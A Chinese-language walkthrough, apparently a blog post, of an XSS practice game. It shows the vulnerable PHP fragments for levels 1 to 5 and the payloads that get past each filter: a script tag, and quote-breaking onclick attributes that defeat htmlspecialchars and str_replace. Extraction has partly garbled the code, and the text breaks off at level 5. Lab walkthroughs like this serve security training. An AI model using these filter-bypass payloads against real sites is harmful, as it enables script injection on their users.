XSS闯关小游戏(level1~13)

level1

  • 源代码

    欢迎用户".$str."";
    ?>
    

    通过源代码发现此关没有对输入的name值做任何过滤,直接echo出来

  • 寻找输入点和输出点

    image-20230203115953719

  • 构造payload

    <script>alert(1)script>
    

    image-20230203120216007

level2

  • 源代码

    没有找到和".htmlspecialchars($str)."相关的结果.".'
    '; ?>

    此关使用了htmlspecialchars()函数---->把html标签转化为浏览器不能识别的字符,利用这个函数转化以后,html标签就可以在浏览器原样输出了。

  • 输入输出点

    image-20230203120955658

  • 构建payload

    1" οnclick="alert(1)
    

    image-20230203121107505

level3

  • 查看页面源代码

    没有找到和".htmlspecialchars($str)."相关的结果."."
    "; ?>

    可以发现在

    处都使用了htmlspecialchars()函数

  • 输入输出点

    image-20230203121508053

  • 构建payload

    1' οnclick='alert(1)
    

    image-20230203121558601

level4

  • 查看页面源代码

    ","",$str);
    $str3=str_replace("<","",$str2);
    echo "

    没有找到和".htmlspecialchars($str)."相关的结果.

    ".'
    '; ?>

    此关使用str_replace()对用户输入进行了过滤,将<>替换成空

  • 输入输出点

    image-20230203121636805

  • 构建payload

    1" οnclick="alert(1)
    

    image-20230203121921887

level5

  • 查看源代码

    没有找到和".htmlspecialchars($str)."相关的结果.".'
    '; ?>

    此关使用str_replace()对用户输入进行了过滤,将替换成on替换成o_n。并使用strtolower()对用户输入数据进行小写转义

  • 查看输入输出

    image-20230204095825614

  • 构造payload

    1">